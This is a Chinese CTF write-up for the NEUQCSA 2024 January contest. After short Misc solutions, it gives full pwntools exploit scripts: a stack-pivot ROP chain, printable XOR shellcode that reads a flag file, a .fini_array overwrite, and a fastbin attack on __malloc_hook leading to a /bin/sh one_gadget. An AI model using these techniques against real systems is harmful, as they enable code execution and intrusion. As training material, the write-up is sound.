NEUQCSA-2024-01月赛题解

# NEUQCSA 2024 monthly_game_1 WP

# Preview

a3
a0
a1
a2

Misc : 签到 学习资料(1) 学习资料(2) 剪切板的秘密
Pwn : baby_stack baby_shellcode never_finish ez_heap

# Misc

# 签到

新年快乐~flag

# 学习资料(1)

我登录学习资料网盘的密码是什么来着...
flag 以 level1 开头
出题人:monian

流量包直接找 flag

# 学习资料(2)

不小心把 flag2 传上去了喵
附件见学习资料(1),flag 以 level2 开头
出题人:monian

流量包上传了一个没有密码的存储 flag 的 zip,直接打开就是 flag 的 hex,转为 char 就是 flag 了

# 剪切板的秘密

内存取证入门
压缩包密码:1195c9eb-2766-401c-85c4-5833a4dee9aa
出题人:monian

WinHex 打开搜索 flag 有点多,搜 “flag {” 就 OK 了

# Pwn

# baby_stack

简单的栈迁移,简单的沙箱
出题人:barin_z
难度:简单

栈迁移 + ORW, 手搓 ROP 用 open64 read write 或者 mprotect 开个 rwxp 写 shellcode
(我知道 exp 看着很乱,我都不想读第二遍,但是都赖该死的 gdb 骗人,gdb 断在不同的位置运行结果完全不一样。而且 gdb 甚至把我的输入都在前面添加了一个 \x0a,非常烦人。而且控制输入也很玄学,一会 read 函数能够读入,一会这个输入直接给我跳过了。整个调试的过程完全就像是在半夜 12 点的山洞摸索道路。)
同样的 EXP,同样的程序,无论使用 gdb 还是不使用 gdb 一定有一个打不通,哭死。
(或许写个 shellcode 会好些)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './stack'
# p=remote('8.130.110.158',2102)
p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./stack')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
pop_rdi=0x401373
pop_rsi2=0x401371
write_addr=0x4010b0
read_addr=0x4010d0
csu_write=0x4040c0
csu1=0x40136a
csu2=0x401350
filename=0x4040c0

payload=p64(0x4010b0)+p64(0x4040c0+0x100)+p64(csu1)+p64(0)+p64(1)+p64(1)+p64(0x403fe0)+p64(0x30)+p64(csu_write)+p64(csu2) +p64(0)+p64(0)+p64(0x4040c0+0x300)+p64(0)*4+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(pop_rdi)+p64(filename)+p64(0x401279)
p.sendlineafter("where is fake stack?csu may help you",payload)

p.sendlineafter("true stack is here\n",b'a'*8+p64(0x4040c0+8)+p64(0x4012ed))
p.recv()
base=u64(p.recv(6)+b'\x00\x00')-0x10e1e0
print(base)
pop_rdx2=base+0x119431
open64=base+0x10df00
mprotect=base+0x118bc0

payload1=b'./flag\x00\x00'+p64(0x4040c0-8)+p64(0x401279)+b'./flag\x00\x00'+p64(0x4040c0-8)+p64(pop_rdi)+p64(filename)+p64(pop_rsi2)+p64(0)+p64(0)+p64(pop_rdx2)+p64(0x0)+p64(0x0)+p64(open64)+p64(pop_rdi)+p64(3)+p64(pop_rsi2)+p64(0x4040c0)+p64(0)+p64(pop_rdx2)+p64(0x40)+p64(0x40)+p64(read_addr)+p64(pop_rdx2)+p64(0x40)+p64(0x40)+p64(pop_rdi)+p64(1)+p64(pop_rsi2)+p64(0x4040c0)+p64(0)+p64(write_addr)+p64(0x401279)+p64(0x401279)

payload1=payload1.ljust(0x130,b'\x00')+p64(0x4012a3)+p64(0x4012ed)*6+p64(0x4040c0+8)+p64(0x4012ed)
gdb.attach(p)
p.sendlineafter("where is fake stack?csu may help you",payload1)

p.sendline(payload1.ljust(0x300-0x10-1,b'\x00')+p64(0x4040c0+8)+p64(0x4012ed))

p.sendlineafter("true stack is here",b'a'*(8)+p64(0x4040c0+8)+p64(0x4012ed))

p.interactive()

# 0x00000000004011bb : add byte ptr [rcx], al ; pop rbp ; ret
# 0x00000000004011b6 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
# 0x000000000040130b : nop ; pop rbp ; ret
# 0x000000000040136c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040136e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401370 : pop r14 ; pop r15 ; ret
# 0x0000000000401372 : pop r15 ; ret
# 0x000000000040136b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040136f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004011bd : pop rbp ; ret
# 0x0000000000401373 : pop rdi ; ret
# 0x0000000000401371 : pop rsi ; pop r15 ; ret
# 0x000000000040136d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

# 0x0000000000119431 : pop rdx ; pop r12 ; ret
# 0x000000000015fae6 : pop rdx ; pop rbx ; ret

# baby_shellcode

简单的沙箱,简单的 shellcode
出题人:brain_z
难度:中等

ORW,写 shellcode,直接 XorHack,字符过滤,极限 rdx 控制其他寄存器。写入 shellcode 的地址不算太大,直接当作读入的 rdx 不会寄。
写 shellcode 调用 read 的 syscall 读入 shellcode,然后读取并输出
还有该死的人工智障,常量的数值都能回答错,还得让我翻以前的 exp。但是我虚拟机全部重装了,哭死。(就是 open64 系统调用的数值)
之前有一次想用 open64 系统调用的题目,但是当时感觉参数很玄学就使用的 open64 () 来打的。但是这次就没办法了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
from Xhellcode import Xhellgen
from XorHack import XorHack,process_hack

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './shellcode'
p=remote('8.130.110.158',2101)
# p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./shellcode')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

rang=[[0x20,0x7e]]
# Xhellgen(rang,True,3)
# process_hack(b'\x0f\x05',rang,2,0)
shellcode0='''
syscall
'''
# XorHack(shellcode0,rang,b'\x55',1)
shellcode='''
push rdx
pop rsi
push rdx
pop rax
xor eax,0x20202020
xor eax,0x20247160
push rax
pop r10
push rax
pop rdi
xor eax,0x20202120
xor eax,0x20202050
push rax
pop rbx
push rax
pop rdx
xor eax,0x20202120
xor eax,0x20202050
xor eax,0x20205f5c
xor dword ptr [rsi + 0x3f], eax
xor eax,0x20205f5c
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
pop rdx
push rbx
'''
payload=asm(shellcode)
pause()
p.sendline(payload)
# openat 257
shellcode1='''
mov rdi,AT_FDCWD
mov rsi,0x45140
mov rdx,0
mov rax,257
syscall

mov rdi,3
mov rsi,0x45148
mov rdx,0x30
mov rax,0
syscall

mov rdi,1
mov rsi,0x45148
mov rdx,0x30
mov rax,1
syscall
'''
payload1=b'./flag'+b'\x00'*(0x41-6)+asm(shellcode1)
pause()
p.sendline(payload1)

p.interactive()
# 322 syscall execveat("/bin/sh",0,0,0) 0x142
# RAX 0xa
# RBX 0x0
# RCX 0x7ffff7d147e2 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
# RDX 0x45140 ◂— 'aaaaaaaaaaaaaaaa'
# RDI 0x0
# RSI 0x7fffffffdae0 ◂— 'aaaaaaaaaaaaaaaa\n'
# R8 0x18
# R9 0x0
# R10 0x22
# R11 0x246
# R12 0x7fffffffde08 —▸ 0x7fffffffe1c1 ◂— '/home/akyoi/PWN/NEUQCSA01/shellcode'
# R13 0x401305 (main) ◂— endbr64
# R14 0x0
# R15 0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
# RBP 0x7fffffffdcf0 ◂— 0x1
# RSP 0x7fffffffdac8 —▸ 0x4013f1 (main+236) ◂— mov eax, 0
# RIP 0x45140 ◂— 'aaaaaaaaaaaaaaaa'


# pop rax
# pop rbp
# pop rbx
# pop rcx
# pop rdi
# pop rdx
# pop rsi
# pop rsp
# push -1
# push rax
# push rbp
# push rbx
# push rcx
# push rdi
# push rdx
# push rsi
# push rsp
# pop r10
# pop r11
# pop r12
# pop r13
# pop r14
# pop r15
# pop rax
# pop rbp
# pop rbx
# pop rcx
# pop rdi
# pop rdx
# pop rsi
# pop rsp
# push -1
# push ax
# push bp
# push bx
# push cx
# push di
# push dx
# push r8
# push r9
# push si
# push sp
# push r10
# push r11
# push r12
# push r13
# push r14
# push r15
# push rax
# push rbp
# push rbx
# push rcx
# push rdi
# push rdx
# push rsi
# push rsp

# xor eax, 0xffffffff
# and eax, 0x11111111
# xor dword ptr [rax - 1], eax
# xor dword ptr [rbp - 1], eax
# xor dword ptr [rbx - 1], eax
# xor dword ptr [rcx - 1], eax
# xor dword ptr [rdi - 1], eax
# xor dword ptr [rdx - 1], eax
# xor dword ptr [rsi - 1], eax

# xor dword ptr [rax], ebp
# xor dword ptr [rax], edi
# xor dword ptr [rax], esi
# xor dword ptr [rax], esp
# xor dword ptr [rbx], ebp
# xor dword ptr [rbx], edi
# xor dword ptr [rbx], esi
# xor dword ptr [rbx], esp
# xor dword ptr [rcx], ebp
# xor dword ptr [rcx], edi
# xor dword ptr [rcx], esi
# xor dword ptr [rcx], esp
# xor dword ptr [rdi], ebp
# xor dword ptr [rdi], edi
# xor dword ptr [rdi], esi
# xor dword ptr [rdi], esp
# xor dword ptr [rdx], ebp
# xor dword ptr [rdx], edi
# xor dword ptr [rdx], esi
# xor dword ptr [rdx], esp
# xor dword ptr [rsi], ebp
# xor dword ptr [rsi], edi
# xor dword ptr [rsi], esi
# xor dword ptr [rsi], esp
# xor ebp, dword ptr [rax]
# xor ebp, dword ptr [rbx]
# xor ebp, dword ptr [rcx]
# xor ebp, dword ptr [rdi]
# xor ebp, dword ptr [rdx]
# xor ebp, dword ptr [rsi]
# xor edi, dword ptr [rax]
# xor edi, dword ptr [rbx]
# xor edi, dword ptr [rcx]
# xor edi, dword ptr [rdi]
# xor edi, dword ptr [rdx]
# xor edi, dword ptr [rsi]
# xor esi, dword ptr [rax]
# xor esi, dword ptr [rbx]
# xor esi, dword ptr [rcx]
# xor esi, dword ptr [rdi]
# xor esi, dword ptr [rdx]
# xor esi, dword ptr [rsi]
# xor esp, dword ptr [rax]
# xor esp, dword ptr [rbx]
# xor esp, dword ptr [rcx]
# xor esp, dword ptr [rdi]
# xor esp, dword ptr [rdx]
# xor esp, dword ptr [rsi]

# never_finish

凡是过往,皆为序章。
出题人:Jmp.Cliff
难度:中等

Hint

main 真的是程序的入口点吗,return0 真的是程序的结束点吗?

(最开始我以为它是签到题,直到我打不通 heap 的时候想签个到,才发现这个 “签到题” 好离谱)
给了一个可以向任意已知地址写入四个字节的机会。给了 backdoor 直接执行 system ("/bin/sh")
写 libc 的东西不切实际,直接考虑 ELF 的内容,ELF 又只有一部分地方可写,直接看那些可写的地方,搞动态链接延迟绑定不太可能,感觉.init_array 和.fini_array 有点可疑。上网查了,发现前者是程序执行最初执行初始化的函数,后者就是程序结束收尾的函数。于是直接把后者改为 backdoor 就 OK 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './1'
p=remote('82.157.250.243',2001)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
# p=process('./1')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
p.send(p64(0x4031f8))
p.send(p32(0x401201))
p.interactive()

# ez_heap

真的是很简单很简单的堆~题目简直漏洞百出
如果有人因为找不到合适的 onegadget 导致这题做不出来,我一定会笑话他一整年。
出题人:Jmp.Cliff
难度:中等

Hint

realloc 或许可以助 onegadget 一臂之力

unsorted_bin 泄露 libc 基址,可以得到 hook 的地址,fastbin-attack 在 hook 那里创建 fake chunk,于是__malloc_hook __realloc_hook 就可以被我们写了。
考虑过打__free_hook,发现那里创建 chunk 过不了 fastbin 的检查。
将 malloc hook 改为 one gadget 之后发现不满足 rsp 的条件,于是使用 realloc 函数前面一堆 push 来调整 rsp,使之满足条件
总之就是把 malloc hook 写在 realloc 函数合适的位置,把 realloc hook 改为 one gadget,于是调用 malloc 就会调用 malloc hook,即调用我们写入的 realloc 的合适位置,之后他会调用 realloc hook,也就是 one gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

pwn = './ez_heap'
p=remote('82.157.250.243',2002)
# p=process(['./ld-2.23.so', pwn], env={"LD_PRELOAD":'./libc-2.23.so'})
# p=process('./ez_heap')
# gdb.attach(p)
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')

def add(idx,size):
p.sendlineafter("choice:","1")
p.sendlineafter("index:",str(idx))
p.sendlineafter("size:",str(size))
def dele(idx):
p.sendlineafter("choice:","2")
p.sendlineafter("index:",str(idx))
def show(idx):
p.sendlineafter("choice:","3")
p.sendlineafter("index:",str(idx))
def edit(idx,con):
p.sendlineafter("choice:","4")
p.sendlineafter("index:",str(idx))
p.sendlineafter("input content:",con)

add(0,0x80)
add(1,0x60)
dele(0)
add(0,0x80)

show(0)
p.recv()
addr=u64(p.recv(6)+b'\x00\x00')
print(hex(addr))
base=addr-(0x7f9a477c4b78-0x7f9a47400000)
system=base+0x453a0

add(2,0x60)
add(3,0x10)
# gdb.attach(p)
dele(1)
dele(2)
dele(1)

add(1,0x60)
add(3,0x60)
add(2,0x60)
# 0x3d80 ez_heap
dele(1)
# gdb.attach(p)gdb.attach(p)
edit(2,p64(base+0x3c4b10-0x20-3)) # free 0x3c67a8 0x3c67a8-0x10-3 0x3c4b10-0x20-3

add(4,0x60)
add(5,0x60)
# gdb.attach(p)
edit(4,b'/bin/sh')
edit(5,b'\x00'*(0x13-8)+p64(base+0x4527a)+p64(base+0x8471B))#0 got
edit(0,p64(system))
# show(4)

dele(4)
# gdb.attach(p)
add(8,0x6c)
# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

p.interactive()

# ???

不要熬夜打 CTF
不要熬夜打 CTF
不要熬夜打 CTF
不然你第二天学习科目二倒车入库回方向直接少回一圈,直接压线,寄。